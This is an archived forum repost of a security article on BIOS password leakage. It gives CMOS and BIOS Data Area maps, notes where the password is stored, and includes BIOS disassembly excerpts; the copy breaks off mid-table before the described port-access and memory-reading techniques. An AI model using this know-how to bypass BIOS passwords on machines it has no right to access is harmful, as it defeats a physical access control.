邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-12-17 03:12

[转载]BIOS Information Leakage

文章作者:[email]endrazine@pulltheplug.org[/email]

Plan :
1 - Introduction


2 - A Bios Overview


3 - Physical Ports Acess : CMOS Phun


4 - Physical memory access applyed to Keyboard buffer access


5 - Final considerations


6 - Greetings & References


7 - Appendix




--[ 1 - Introduction



About ten years ago, while I was a teenage student, I started programming
at school. I used to study Turbo Pascal, and since I was a real beginner,
I made several programming mistakes. I especially got a few segementation
faults which led to random memory dumps. No big deal at first sight.
But one of the dumps was interesting : it showed the Bios password in
plain text. So I knew this password was in plain text somewhere in
memory. Knowing an attack is possible is one thing, exploiting it is much
harder. Exploiting it using new techniques is even better : this is what
this paper will describe.

Hence, the main goal of this article isn't to detail the Bios cracking
methodology but to use Bios cracking as a pretext to introduce little
known techniques to explore the content of a computer : physical ports
interfacing and physical memory reading and writing among others, which
are very little used today in the linux world.

After a Bios role overview discribing the the Bios structure, we will
focus on the main topic of this article : physical port communication
applyed to CMOS password tricks under Linux, and reading the password
from physical memory in the following section.

I insist that this paper doesn't aim at helping kids in gaining access to
computers : what matters here are the new techniques employed rather than
the lame actions you could do applying those techniques.

Every single piece of code has been tested both on a Toshiba laptop
(Toshiba Satellite Pro A60, 768 Mo RAM, Insyde Bios V190) running Debian
Linux (kernel 2.6.11) and a Desktop Computer (p100 MHz, 40Mo RAM, AWARD
Bios Modular 4.50pg) running Gentoo Linux (kernel 2.6.10). 99% of the
code granted to compile and run fine under root privileges.


To illustrate this article, I will provide exerpts from the disasm of my
own Bios (the toshiba laptop mentioned earlier : yeah, it's a cheap one,
send me money ;). Keep in mind that many Bios operations are very model
specific, so I encourage you to reverse your own Bios and to refer to
your mother board's data sheet for more accurate informations concerning
your own Bios ROM. I used sysodeco [1] to unpack my Bios and IDA 4.3
freeware edition [2] to disasemble the ROM. The ROM I used in this
article is uued as appendix. IDA generated asm code is also available on
request.



--[ 2 - A Bios Overview


I will detail the role of Bios through a boot process overview. This
exlpaination is not exhaustive. (I will give details about what is
relevant for the rest of my paper), but you can refer to Intel volume
III [3] to get more informations on this topic (the section detailling
the Northbrige should answer your questions).
Informations contained in this section are a combination of my own
experimentations along with four other sources : the "BIOS companion"
book [4], which is merely a compilation of motherboards data sheets, for
the figures, the "BIOS Survival Guide Version 5.4" [5] for additional
infos concerning the CMOS role, "Award BIOS Reverse Engineering" article
from Mappatutu Salihun Darmawan for code breakers[6], and of course Intel
volume III [3].

Mappatutu Salihun Darmawan's article is very complete and attempts to
explain how the Bios (which starts in protected mode) can switch to real
mode, and even run 32b instructions...

At boot time, a computer starts thanks to a piece of software stored as
ROM on the motherboard : the  Basic Input Output System (BIOS). The BIOS
configuration is stored in an other chip, called Complementary Metal
Oxide Semi-conductor (CMOS). Since CMOS is not launched in RAM (your
computer RAM is not known by BIOS before a while anyway), accessing your
CMOS requires you to perform physical ports communications through ports
70h and 71h (we will see this in detail later, since this is the core of
this article).

The standard CMOS Map is provided below as figure 1 (based on infos from
the "Bios Companion Book").



figure 1 : CMOS MAP


Offset  Size   Function


0x00    1 byte  RTC seconds. Contains the seconds value of current
            time. (BCD*)
0x01    1 byte  RTC seconds alarm. Contains the seconds value for the
            RTC alarm (BCD*)
0x02    1 byte  RTC minutes. Contains the minutes value of the current
            time (BCD*)
0x03    1 byte  RTC minutes alarm. Contains the minutes value for the
            RTC alarm (BCD*)
0x04    1 byte  RTC hours. Contains the hours value of the current time
            (BCD Format*)
0x05    1 byte  RTC hours alarm. Contains the hours value for the RTC a
            larm (BCD*)
0x06    1 byte  RTC day of week. Contains the current day of the week
            (1 .. 7, sunday=1)
0x07    1 byte  RTC date day. Contains day value of current date (BCD*)
0x08    1 byte  RTC date month. Contains the month value of current date
            (BCD*)
0x09    1 byte  RTC date year. Contains the year value of current date
            (BCD*)
0x0A    1 byte  Status Register A
            Bit  7 = Update in progress
               0 = Date and time can be read
               1 = Time update in progress
            Bits 6-4 = Time frequency divider
            Bits 3-0 = Rate selection frequency

0x0B   1 byte  Status Register B
            Bit 7 = Clock update cycle
             0 = Update normally
             1 = Abort update in progress
            Bit 6 = Periodic interrupt
             0 = Disable interrupt (default)
             1 = Enable interrupt
            Bit 5 = Alarm interrupt
             0 = Disable interrupt (default)
             1 = Enable interrupt
            Bit 4 = Update ended interrupt
             0 = Disable interrupt (default)
             1 = Enable interrupt
            Bit 3 = Status register A square wave frequency
             0 = Disable square wave (default)
             1 = Enable square wave
            Bit 2 = 24 hour clock
             0 = 24 hour mode (default)
             1 = 12 hour mode
            Bit 1 = Daylight savings time
             0 = Disable daylight savings (default)
             1 = Enable daylight savings

0x0C   1 byte  Status Register C - Read only flags indicating system
            status conditions
            Bit  7  = IRQF flag
            Bit  6  = PF flag
            Bit  5  = AF flag
            Bit  4  = UF flag
            Bits 3-0 = Reserved

0x0D   1 byte  Status Register D - Valid CMOS RAM flag on bit 7
            (battery condition flag)
            Bit 7 = Valid CMOS RAM flag
            0 = CMOS battery dead
            1 = CMOS battery power good
            Bit 6-0 = Reserved

0x0E   1 byte  Diagnostic Status
            Bit 7 = Real time clock power status
            0 = CMOS has not lost power
            1 = CMOS has lost power
            Bit 6 = CMOS checksum status
            0 = Checksum is good
            1 = Checksum is bad
            Bit 5 = POST configuration information status
            0 = Configuration information is valid,
            1 = Configuration information in invalid
            Bit 4 = Memory size compare during POST
            0 = POST memory equals configuration
            1 = POST memory not equal to configuration
            Bit 3 = Fixed disk/adapter initialization
            0 = Initialization good
            1 = Initialization bad
            Bit 2 = CMOS time status indicator
            0 = Time is valid
            1 = Time is invalid
            Bit 1-0 = Reserved

0x0F   1 byte  CMOS Shutdown Status
            00h = Power on or soft reset
            01h = Memory size pass
            02h = Memory test pass
            03h = Memory test fail
            04h = POST complete; boot system
            05h = JMP double word pointer with EOI
            06h = Protected mode tests pass
            07h = protected mode tests fail
            08h = Memory size fail
            09h = Int 15h block move
            0Ah = JMP double word pointer without EOI
            0Bh = Used by 80386

0x10   1 byte  Floppy Disk Drive Types
            Bits 7-4 = Drive 0 type
            Bits 3-0 = Drive 1 type
            0000 = None
            0001 = 360KB
            0010 = 1.2MB
            0011 = 720KB
            0100 = 1.44MB

0x11   1 byte  System Configuration Settings
            Bit 7 = Mouse support disable/enable
            Bit 6 = Memory test above 1MB disable/enable
            Bit 5 = Memory test tick sound disable/enable
            Bit 4 = Memory parity error check disable/enable
            Bit 3 = Setup utility trigger display disable/enable
            Bit 2 = Hard disk type 47 RAM area
            Bit 1 = Wait for<F1> if any error message disable/enable
            Bit 0 = System boot up with Numlock (off/on status)

0x12   1 byte  Hard Disk Types
            Bits 7-4 = Hard disk 0 type
            Bits 3-0 = Hard disk 1 type
            0000 = No drive installed
            0001 = Type 1 installed
            1110 = Type 14 installed
            1111 = Type 16-47 (defined later in 19h)

0x13   1 byte  Typematic Parameters
            Bit 7 = typematic rate programming disable/enabled
            Bit 6-5 = typematic rate delay
            Bit 4-2 = Typematic rate

0x14   1 byte  Installed Equipment
            Bits 7-6 = Number of floppy disks
            00 = 1 floppy disk
            01 = 2 floppy disks
            Bits 5-4 = Primary display
            00 = Use display adapter BIOS
            01 = CGA 40 column
            10 = CGA 80 column
            11 = Monochrome Display Adapter
            Bit 3 = Display adapter installed/not installed
            Bit 2 = Keyboard installed/not installed
            Bit 1 = math coprocessor installed/not installed
            Bit 0 = Always set to 1

0x15   1 byte  Base Memory Low Order Byte - Least significant byte
0x16   1 byte  Base Memory High Order Byte - Most significant byte
0x17   1 byte  Extended Memory Low Order Byte - Least significant byte
0x18   1 byte  Extended Memory High Order Byte - Most significant byte

0x19   1 byte  Hard Disk 0 Extended Type -
            0x10h to 0x2Eh = Type 16 to 46 respectively
0x1A   1 byte  Hard Disk 1 Extended Type -
            0x10h to 0x2Eh = Type 16 to 46 respectively
0x1B   1 byte  User Defined Drive C:
            Number of cylinders least significant byte
0x1C   1 byte  User Defined Drive C:
            Number of cylinders most significant byte
0x1D   1 byte  User Defined Drive C:
            Number of heads
0x1E   1 byte  User Defined Drive C:
            Write precomp cylinder least significant byte
0x1F   1 byte  User Defined Drive C:
            Write precomp cylinder most significant byte
0x20   1 byte  User Defined Drive C:
            Control byte
0x21   1 byte  User Defined Drive C:
            Landing zone least significant byte
0x22   1 byte  User Defined Drive C:
            Landing zone most significant byte
0x23   1 byte  User Defined Drive C:
            Number of sectors

0x24   1 byte  User Defined Drive D:
            Number of cylinders least significant byte
0x25   1 byte  User defined Drive D:
            Number of cylinders most significant byte
0x26   1 byte  User Defined Drive D:
            Number of heads
0x27   1 byte  User Defined Drive D:
            Write precomp cylinder least significant byte
0x28   1 byte  User Defined Drive D:
            Write precomp cylinder most significant byte
0x29   1 byte  User Defined Drive D:
            Control byte
0x2A   1 byte  User Defined Drive D:
            Landing zone least significant byte
0x2B   1 byte  User Defined Drive D:
            Landing zone most significant byte
0x2C   1 byte  User Defined Drive D:
            Number of sectors

0x2D   1 byte  System Operational Flags
            Bit 7 = Weitek processor present/absent
            Bit 6 = Floppy drive seek at boot enable/disable
            Bit 5 = System boot sequence
            Bit 4 = System boot CPU speed high/low
            Bit 3 = External cache enable/disable
            Bit 2 = Internal cache enable/disable
            Bit 1 = Fast gate A20 operation enable/disable
            Bit 0 = Turbo switch function enable/disable

0x2E   1 byte  CMOS Checksum High Order Byte - Most significant byte
0x2F   1 byte  CMOS Checksum Low Order Byte - Least significant byte

0x30   1 byte  Actual Extended Memory Low Order Byte
            Least significant byte
0x31   1 byte  Actual Extended Memory High Order Byte
            Most significant byte
0x32   1 byte  Century Date BCD - Value for century of current date
0x33   1 byte  POST Information Flags
            Bit 7 = BIOS length (64KB/128KB)
            Bit 6-1 = reserved
            Bit 0 = POST cache test passed/failed

0x34   1 byte  BIOS and Shadow Option Flags
            Bit 7 = Boot sector virus protection disabled/enabled
            Bit 6 = Password checking option disabled/enabled
            Bit 5 = Adapter ROM shadow C800h (16KB) disabled/enabled
            Bit 4 = Adapter ROM shadow CC00h (16KB) disabled/enabled
            Bit 3 = Adapter ROM shadow D000h (16KB) disabled/enabled
            Bit 2 = Adapter ROM shadow D400h (16KB) disabled/enabled
            Bit 1 = Adapter ROM shadow D800h (16KB) disabled/enabled
            Bit 0 = Adapter ROM shadow DC00h (16KB) disabled/enabled

0x35   1 byte  BIOS and Shadow Option Flags
            Bit 7 = Adapter ROM shadow E000h (16KB) disabled/enabled
            Bit 6 = Adapter ROM shadow E400h (16KB) disabled/enabled
            Bit 5 = Adapter ROM shadow E800h (16KB) disabled/enabled
            Bit 4 = Adapter ROM shadow EC00h (16KB) disabled/enabled
            Bit 3 = System ROM shadow F000h (16KB) disabled/enabled
            Bit 2 = Video ROM shadow C000h (16KB) disabled/enabled
            Bit 1 = Video ROM shadow C400h (16KB) disabled/enabled
            Bit 0 = Numeric processor test disabled/enabled

0x36   1 byte  Chipset Specific Information

0x37   1 byte  Password Seed and Color Option
            Bit 7-4 = Password seed (do not change)
            Bit 3-0 = Setup screen color palette
              07h = White on black
              70h = Black on white
              17h = White on blue
              20h = Black on green
              30h = Black on turquoise
              47h = White on red
              57h = White on magenta
              60h = Black on brown

0x38   6 byte  Encrypted Password
0x3E   1 byte  Extended CMOS Checksum - Most significant byte
0x3F   1 byte  Extended CMOS Checksum - Least significant byte
0x40   1 byte  Model Number Byte
0x41   1 byte  1st Serial Number Byte
0x42   1 byte  2nd Serial Number Byte
0x43   1 byte  3rd Serial Number Byte
0x44   1 byte  4th Serial Number Byte
0x45   1 byte  5th Serial Number Byte
0x46   1 byte  6th Serial Number Byte
0x47   1 byte  CRC Byte
0x48   1 byte  Century Byte
0x49   1 byte  Date Alarm
0x4A   1 byte  Extended Control Register 4A
0x4B   1 byte  Extended Control register 4B
0x4C   1 byte  Reserved
0x4D   1 byte  Reserved
0x4E   1 byte  Real Time Clock - Address 2
0x4F   1 byte  Real Time Clock - Address 3
0x50   1 byte  Extended RAM Address - Least significant byte
0x51   1 byte  Extended RAM Address - Most significant byte
0x52   1 byte  Reserved
0x53   1 byte  Extended RAM Data Port
0x54   1 byte  Reserved
0x55   1 byte  Reserved
0x56   1 byte  Reserved
0x57   1 byte  Reserved
0x58   1 byte  Reserved
0x59   1 byte  Reserved
0x5A   1 byte  Reserved
0x5B   1 byte  Reserved
0x5C   1 byte  Reserved
0x5D   1 byte  Reserved


NOTE : (*) The BCD format is used by Bios to store numbers. Numbers are
stored in hex format, but the upper nible contains the 10-digits, while
the lower one contains the 1-digits.


If you dump your Bios ROM or simply download a new one from your Bios
manufacturer and try to disassemble it, you will see that some parts
of your Bios are packed. Actually, if you launch such a ROM with IDA,
you&#39;ll see that the only non packed parts are unpacking routine.
Start by looking at the ASCII strings in your Bios and look for an
unpacker, or build a simple unpacker using those routines (as opposite
to ELF unpacking, you already know where to find those routines : they
are the only one you&#39;ll see as code :). Since I&#39;m lazy, I first looked
at the strings in my ROM using the linux &#39;file&#39; and &#39;strings&#39; commands.
The interesting one for Toshba Bioses is this one :
"all rights reserved Insyde software Corp."
Insyde Software is a Bios manufacturer anciently known as System Soft.
So I searched for an unpacker (I told you, I am lazy) and found sysodeco
unpacker here [1]. If you plan to unpack yours, looking at "Advanced Bios
logo reader" ([url]http://www.kaos.ru/biosgfx/index.html[/url]) [7] first can
be time saving : it contains unpackers for many Bioses.


When pushing the button, BIOS will perform
an analisys of the system components (I&#39;ll axplain this point later) and
initialize the video system. In my Bios, this is done this way :



  push  bp
  mov   bp, sp
  push  ax
  push  bx
  push  cx
  pushf
  cli
  mov  cx, 1
  mov  ax, 4F05h
  xor  bx, bx
  int  10h         ; - VIDEO - VESA SuperVGA BIOS - VESA SuperVGA BIOS - CPU VIDEO MEMORY CONTROL
                ; BL = 00h window A, 01h window B
                ; Return: AL = 4Fh function supported
                ; AH = 00h successful, 01h failed
                ; BH = subfunctionselect video memory window
  cmp  ah, 4Fh
  jz   near ptr 45DDh
  loop  near ptr 45CCh
  mov  cx, 1
  mov  ax, 4F05h
  mov  bx, 1
  int  10h         ; - VIDEO - VESA SuperVGA BIOS -  VESA SuperVGA BIOS - CPU VIDEO MEMORY CONTROL
                ; BL = 00h window A, 01h window B
                ; Return: AL = 4Fh function supported
                ; AH = 00h successful, 01h failed
                ; BH = subfunctionselect video memory window
  cmp  ax, 4Fh
  jz   near ptr 45ECh
  loop  near ptr 45DDh
  popf
  pop  cx
  pop  bx
  pop  ax
  leave

  retn





This process is known as POST (Power-On Self Test). This operation
is a crucial for your system since the BIOS will initialize important
periferals. I reallized that the BIOS gets those informations through
CMOS queries, as shown below, or through physical ports queries on
port 72h and 73h, which are used to access the extended RAM following
"Award BIOS Reverse Engineering" from Mappatutu Salihun Darmawan [6].


Here is how the Toshiba Bios accesses CMOS configurations :


  push   bp
  mov    bp, sp
  mov    al, [bp+4]
  out    70h, al    ; CMOS Memory:
               ; used by real-time clock
  in    al, 71h    ; CMOS Memory
  leave
  retn


And  how it can access extended RAM to get Northbrige infos :


  push   bp
  mov    bp, sp
  mov    al, [bp+4]
  or    al, 80h
  out    72h, al
  in    al, 73h
  leave
  retn


There is a Checksum at 0x2E in the CMOS that certifies it as not been
corrupted. The Bios will recalculate this checksum and set a flag in CMOS
at 0x0E if the checksum is wrong, then the CMOS is set back to its
default configuration.

The Bios will then ask you for a password. This password will be
compared with the one stored in CMOS at 0x38 (as shown in figure 1).
How is this done in detail ? To understand this magic, I need to
introduce one more structure, the Bios Data Area (BDA). (figure 2 is
also based on inforamations from the "Bios Companion Book").



figure 2 : Bios Data Area MAP


Offset  Size  Description

0x00 2  bytes  Base I/O address for serial port 1
           (communications port 1 - COM 1)
0x02 2  bytes  Base I/O address for serial port 2
           (communications port 2 - COM 2)
0x04 2  bytes  Base I/O address for serial port 3
           (communications port 3 - COM 3)
0x06 2  bytes  Base I/O address for serial port 4
           (communications port 4 - COM 4)
0x08 2  bytes  Base I/O address for parallel port 1
           (printer port 1 - LPT 1)
0x0A 2  bytes  Base I/O address for parallel port 2
           (printer port 2 - LPT 2)
0x0C 2  bytes  Base I/O address for parallel port 3
           (printer port 3 - LPT 3)
0x0E 2  bytes  Base I/O address for parallel port 4
           (printer port 4 - LPT 4)
0x10 2  bytes  Equipment Word
          Bits 15-14 indicate the number of parallel ports installed
           00b = 1 parallel port
           01b = 2 parallel ports
           03b = 3 parallel ports
          Bits 13-12 are reserved
          Bits 11-9 indicate the number of serial ports installed
           000b = none
           001b = 1 serial port
           002b = 2 serial ports
           003b = 3 serial ports
           004b = 4 serial ports
          Bit 8 is reserved
          Bit 7-6 indicate the number of floppy drives installed
           0b = 1 floppy drive
           1b = 2 floppy drives
          Bits 5-4 indicate the video mode
           00b = EGA or later
           01b = color 40x25
           10b = color 80x25
           11b = monochrome 80x25
          Bit 3 is reserved
          Bit 2 indicates if a PS/2 mouse is installed
           0b = not installed
           1b = installed
          Bit 1 indicated if a math coprocessor is installed
           0b = not installed
           1b = installed
          Bit 0 indicated if a boot floppy is installed
           0b = not installed
           1b = installed
0x12 1  byte  Interrupt flag - Manufacturing test
0x13 2  bytes  Memory size in Kb
0x15 2  bytes  Error codes for AT+
          Adapter memory size for PC and XT
0x17 1  byte  Keyboard shift flags 1
          Bit 7 indicates if Insert is on or off
           0b = Insert off
           1b = Insert on
          Bit 6 indicates if CapsLock is on or off
           0b = CapsLock off
           1b - CapsLock on
          Bit 5 indicates if NumLock is on or off
           0b = NumLock off
           1b = NumLock on
          Bit 4 indicates if ScrollLock is on or off
           0b = ScrollLock off
           1b = ScrollLock on
          Bit 3 indicates if the Alt key is up or down
           0b = Alt key is up
           1b = Alt key is down
          Bit 2 indicates if the Control key is up or down
           0b = Control key is up
           1b = Control key is down
          Bit 1 indicates if the Left Shift key is up or down
           0b = Left Shift key is up
           1b = Left Shift key is down
          Bit 0 indicates if the Right Shift key is up or down
           0b = Right Shift key is up
           1b = Right Shift key is down
0x18 1  byte  Keyboard shift flags 2
          Bit 7 indicates if the Insert key is up or down
           0b = Insert key is up
           1b = Insert key is down
          Bit 6 indicates if the CapsLock key is up or down
           0b = CapsLock is key is up
           1b = CapsLock key is down
          Bit 5 indicates if the NumLock key is up or down
           0b = NumLock key is up
           1b = Numlock key is down
          Bit 4 indicates if the ScrollLock key is up or down
           0b = ScrollLock key is up
           1b = ScrollLock key is down
          Bit 3 indicates if the Pause key is active or inactive
           0b = pause key is inactive
           1b = Pause key is active
          Bit 2 indicates if the SysReg key is up or down
           0b = SysReg key is up
           1b = SysReg key is down
          Bit 1 indicates if the Left Alt key is up or down
           0b = Left Alt key is up
           1b = Left Alt key is down
          Bit 0 indicates if the Right Alt key is up or down
           0b = Right Alt key is up
           1b = Right Alt key is down
0x19 1  byte  Alt Numpad work area
0x1A 2  bytes  Pointer to the address of the next character in the
           keyboard buffer
0x1C 2  bytes  Pointer to the address of the last character in the
           keyboard buffer
0x1E 32 bytes  Keyboard buffer
0x3E 1  byte  Floppy disk drive calibration status
          Bits 7-4 are reserved
          Bit 3 = floppy drive 3 (PC, XT)
          Bit 2 = floppy drive 2 (PC, XT)
          Bit 1 = floppy drive 1
          Bit 0 = floppy drive 0
           0b indicates not calibrated
           1b indicates calibrated
0x3F 1  byte  Floppy disk drive motor status
          Bit 7 indicates current operation   
           0b = read or verify operation
           1b = write or format operation
          Bit 6 is not used
          Bit 5-4 indicates drive select
           00b = Drive 0
           01b = Drive 1
           10b = Drive 2 (PC, XT)
           11b = Drive 4 (PC, XT)
          Bit 3 indicates drive 3 motor
           0b = motor off
           1b = motor on
          Bit 2 indicates drive 2 motor
           0b = motor off
           1b = motor on
          Bit 1 indicates drive 0 motor
           0b = motor off
           1b = motor on
           0b = motor off
           1b = motor on
0x40 1  byte  Floppy disk drive motor time-out
0x41 1  byte  Floppy disk drive status
          Bit 7 indicates drive ready status
           0b = drive ready
           1b = drive not ready (time out)
          Bit 6 indicates seek status
           0b = no seek error detected
           1b = indicates a seek error was detected
          Bit 5 indicates floppy disk controller test
           0b = floppy disk controller passed
           1b = floppy disk controller failed
          Bit 4-0 error codes
           00000b = no errors
           00001b = illegal function requested
           00010b = address mark not found
           00011b = write protect error
           00100b = sector not found
           00110b = diskette change line active
           01000b = DMA overrun
           01001b = DMA boundary error
           01100b = unknown media type
           10000b = CRC error during read
0x42 1  byte  Hard disk and floppy controller status register 0
          Bit 7-6 indicate the interrupt code
           00b = command completed normally
           01b = command terminated abnormally
           10b = abnormal termination, ready line on
                or diskette changed
           11b = seek command not completed
          Bit 5 indicated seek command
           0b = seek command not completed
           1b = seek command completed
          Bit 4 indicated drive fault
           0b = no drive fault
           1b = drive fault
          Bit 3 indicates drive ready
           0b = drive ready
           1b = drive not ready
          Bit 2 indicates head state when interrupt occurred
           00b = drive 0
           01b = drive 1
           10b = drive 2 (PC, XT)
           11b = drive 3 (PC, XT)
          Bit 1-0 indicates drive select
           00b = drive 0
           01b = drive 1
           10b = drive 2 (PC, XT)
           11b = drive 3 (PC, XT)
0x43 1  byte  Floppy drive controller status register 1
          Bit 7-0 indicates no error
          Bit 7, 1b = indicates attempted access beyond
                   last cylinder
          Bit 6, 0b = not used
          Bit 5, 1b = CRC error during read
          Bit 4, 1b = DMA overrun
          Bit 3, 0b = not used
          Bit 2, 1b = Sector not found or reading diskette ID failed
          Bit 1, 1b = medium write protected
          Bit 0, 1b = missing address mark
0x44 1  byte  Floppy drive controller status register 2
          Bit 7, 0b = not used
          Bit 6, 1b = deleted data address mark
          Bit 5, 1b = CRC error detected
          Bit 4, 1b = wrong cylinder
          Bit 3, 1b = condition of equal during verify
          Bit 2, 1b = sector not found during verify
          Bit 1, 1b = bad cylinder
          Bit 0, 1b = address mark not found during read
0x45 1  byte  Floppy disk controller: cylinder number
0x46 1  byte  Floppy disk controller: head number
0x47 1  byte  Floppy disk controller: sector number
0x48 1  byte  Floppy disk controller: number of byte written
0x49 1  byte  Active video mode setting
0x4A 2  bytes  Number of textcolumns per row for the active video mode
0x4C 2  bytes  Size of active video in page bytes
0x4E 2  bytes  Offset address of the active video page relative to the
           start of video RAM
0x50 2  bytes  Cursor position for video page 0
0x52 2  bytes  Cursor position for video page 1
0x54 2  bytes  Cursor position for video page 2
0x56 2  bytes  Cursor position for video page 3
0x58 2  bytes  Cursor position for video page 4
0x5A 2  bytes  Cursor position for video page 5
0x5C 2  bytes  Cursor position for video page 6
0x5E 2  bytes  Cursor position for video page 7
0x60 2  bytes  Cursor shape
0x62 1  byte  Active video page
0x63 2  bytes  I/O port address for the video display adapter
0x65 1  byte  Video display adapter internal mode register
          Bit 7, 0b = not used
          Bit 6, 0b = not used
          Bit 5
           0b = attribute bit controls background intensity
           1b = attribute bit controls blinking
          Bit 4, 1b = mode 6 graphics operation
          Bit 3 indicates video signal
           0b = video signal disabled
           1b = video signal enabled
          Bit 2 indicates color operation
           0b = color operation
           1b = monochrome operation
          Bit 1, 1b = mode 4/5 graphics operation
          Bit 0, 1b = mode 2/3 test operation
0x66 1  byte  Color palette
          Bit 7, 0b = not used
          Bit 6, 0b = not used
          Bit 5 indicates mode 5 foreground   colors
           0b = green/red/yellow
           1b = cyan/magenta/white
          Bit 4 indicates background color
           0b = normal background color
           1b = intensified background color
          Bit 3 indicates intensified border color (mode 2) and
               background color (mode 5)
          Bit 2 indicates red
          Bit 1 indicates green
          Bit 0 indicates blue
0x67 2  bytes  Adapter ROM offset address
0x69 2  bytes  Adapter ROM segment address
0x6B 1  byte  Last   interrupt (not PC)
          Bit 7 indicates IRQ 7 hardware interrupt
           0b = did not occur
           01 = did occur
          Bit 6 indicates IRQ 6 hardware interrupt
           0b = did not occur
           01 = did occur
          Bit 5 indicates IRQ 5 hardware interrupt
           0b = did not occur
           01 = did occur
          Bit 4 indicates IRQ 4 hardware interrupt
           0b = did not occur
           01 = did occur
          Bit 3 indicates IRQ 3 hardware interrupt
           0b = did not occur
           01 = did occur
          Bit 2 indicates IRQ 2 hardware interrupt
           0b = did not occur
           01 = did occur
          Bit 1 indicates IRQ 1 hardware interrupt
           0b = did not occur
           01 = did occur
          Bit 0 indicates IRQ 0 hardware interrupt
           0b = did not occur
           01 = did occur
0x6C 4  bytes  Counter for Interrupt 1Ah
0x70c  1  byte  Timer 24 hour flag
0x71 1  byte  Keyboard Ctrl-Break flag
0x72 2  bytes  Soft reset flag
0x74 1  byte  status of last hard disk operation
           00h = no errors
           01h = invalid function requested
           02h = address mark not found
           04h = sector not found
           05h = reset failed
           06h = removable media changed
           07h = drive parameter activity failed
           08h = DMA overrun
           09h = DMA boundary overrun
           0Ah = bad sector flag detected
           0Bh = bad track detected
           0Dh = invalid number of sectors on format
           0Eh = control data address mark detected
           0Fh = DMA arbitration level out of range
           10h = uncorrectable ECC or CRC error
           11h = ECC corrected data error
           20h = general controller failure
           40h = seek operation failed
           80h = timeout
           AAh = drive not ready
           BBh = undefined error occurred
           CCh = write fault on selected drive
           E0h = status error or error register is zero
           FFh = sense operation failed
0x75 1  byte  Number of hard disk drives
0x76 1  byte  Hard disk control byte
          Bit 7
           0b = enables retries on disk error
           1b = disables retries on disk error
          Bit 6
           0b = enables reties on disk error
           1b = enables reties on disk error
          Bit 5, 0b = not used
          Bit 4, 0b = not used
          Bit 3
           0b = drive has less than 8 heads
           1b = drive has more than 8 heads
          Bit 2, 0b = not used
          Bit 1, 0b = not used
          Bit 0, 0b = not used
0x77 1  byte  Offset   address of hard disk I/O port (XT)
0x78 1  byte  Parallel port 1 timeout
0x79 1  byte  Parallel port 2 timeout
0x7A 1  byte  Parallel port 3 timeout
0x7B 1  byte  Parallel port 4 timeout (PC, XT) support for virtual DMA
           services (VDS)
          Bit 7, 0b = not used
          Bit 6, 0b = not used
          Bit 5 indicates virtual DMA services
           0b = not supported
           1b = supported
          Bit 4, 0b = not used
          Bit 3 indicates chaining on interrupt 4Bh
           0b = not   required
           1b = required
          Bit 2, 0b = not used
          Bit 1, 0b = not used
          Bit 0, 0b = not used
0x7C 1  byte  serial port 1 timeout
0x7D 1  byte  serial port 2 timeout
0x7E 1  byte  serial port 3 timeout
0x7F 1  byte  serial port 4 timeout
0x80 2  bytes  Starting address of keyboard buffer
0x82 2  bytes  Ending address of keyboard buffer
0x84 1  byte  Number of video rows (minus 1)
0x85 2  bytes  Number of scan lines per character
0x87 1  byte  Video display adapter options
          Bit 7 indicates bit 7 of the last   video mode
           0b = clear display buffer when setting mode
           1b = do not clear the display buffer
          Bit 6-4 indicates the amount of memory on the video
                display adapter
           000b = 64Kb
           001b = 128Kb
           010b = 192Kb
           011b = 256Kb
           100b = 512Kb
           110 = 1024Kb or more
          Bit 3 indicates video subsystem
           0b = not active
           1b = active
          Bit 2 is reserved
          Bit 1 indicates monitor type
           0b = color
           1b = monochrome
          Bit 0 indicates alphanumeric cursor emulation
           0b = disabled
           1b = enabled
0x88 1  byte  Video display adapter switches
          Bit 7 indicates state of feature connector line 1
          Bit 6 indicates state of feature connector line 0
          Bit 5-4 not used
          Bit 3-0 indicate adapter type switch settings
           0000b = MDA/color 40x25
           0001b = MDA/color 80x25
           0010b = MDA/high-resolution 80x25
           0011b = MDA/high-resolution enhanced
           0100b = CGA 40x25/monochrome
           0101b = CGA 80x25/monochrome
           0110b = color 40x25/MDA
           0111b = color 80x25/MDA
           1000b = high-resolution 80x25/MDA
           1001b = high-resolution enhanced/MDA
           1010b = monochrome/CGA 40x25
           1011b = monochrome/CGA 80x25
0x89 1  byte  VGA video flags 1
          Bit 7 and 4 indicate scanline mode
           00b = 350-line mode
           01b = 400-line mode
           10b = 200-line mode
          Bit 6 indicates display switch
           0b = disabled
           1b = enabled
          Bit 5 is reserved
          Bit 3 indicates default palette loading
           0b = disabled
           1b= enabled
          Bit 2 indicates monitor type
           0b = color
           1b = monochrome
          Bit 1 indicates gray scale summing
           0b = disabled
           1b = enabled
          Bit 0 indicates VGA active state
           0b = VGA inactive
           1b = VGA active
0x8A 1  byte  VGA video flags 2
0x8B 1  byte  Floppy disk configuration data
          Bit 7-6 indicate last data sent to the controller
           00b = 500 Kbit/sec/sec
           01b = 300 Kbit/sec
           10b = 250 Kbit/sec
           11b = rate not set or 1 Mbit/sec
          Bit 5-4 indicate last drive steprate sent to the
                controller
           00b = 8ms
           01b = 7ms
           10b = 6ms
           11b = 5ms
          Bit 3-2 indicate data rate, set at start of
                operation (Bits 7-6)
          Bit 1-0 not used
0x8C 1  byte  Hard disk drive controller status
          Bit 7 indicates controller state
           0b = controller not busy
           1b = controller busy
          Bit 6 indicates drive ready state
           0b = drive selected not ready
           1b = drive selected ready
          Bit 5 indicates write fault
           0b = write fault did not occur
           1b = write error occurred
          Bit 4 indicates seek state
           0b = drive selected seeking
           1b = drive selected seek complete
          Bit 3 indicates data request
           0b = data request is inactive
           1b = data request is active
          Bit 2 indicates data correction
           0b = data not corrected
           1b = data corrected
          Bit 1 indicates index pulse state
           0b = index pulse inactive
           1b = index pulse active
          Bit 0 indicates error
           0b = no error
           1b = error   in previous command
0x8D 1  byte  Hard disk drive error
          Bit 7 indicates bad sector
           0b = not used
           1b = bad sector detected
          Bit 6 indicated ECC error
           0b = not used
           1b = uncorrectable ECC error occurred
          Bit 5 indicates media state
           0b = not used
           1b = media changed
          Bit 4 indicates sector state
           0b = not used
           1b = ID or target sector not found
          Bit 3 indicates media change request state
           0b = not used
           1b = media change requested
          Bit 2 indicates command state
           0b = not used
           1b = command aborted
          Bit 1 indicates drive track error
           0b = not used
           1b = track 0 not found
          Bit 0 indicates address mark
           0b = not used
           1b = address mark not found
0x8E 1  byte  Hard disk drive task complete flag
0x8F 1  byte  Floppy disk drive information
          Bit 7 not used
          Bit 6 indicates drive 1 type determination
           0b = not determined
           1b = determined
          Bit 5 indicates drive 1 multirate status
           0b = no
